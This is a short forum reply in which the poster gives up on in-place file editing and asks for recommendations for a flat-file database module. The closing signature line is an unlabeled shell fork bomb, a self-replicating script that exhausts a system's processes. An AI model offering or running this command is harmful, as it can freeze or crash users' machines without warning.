in reply to In-place file manipulation
After looking at the options...
I think I'm actually going to forget in-place manipulations on files and go directly to a module that will let me use a flat-file DB, and save myself the trouble. I'm just storing data -- the format won't matter greatly if I can read and store it consitently. I have not the need or the resources to run a full-scale SQL server.
So, any suggestions on a good flat-file DB module?
Thanks for everyone's suggestions!
Cheers,

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;
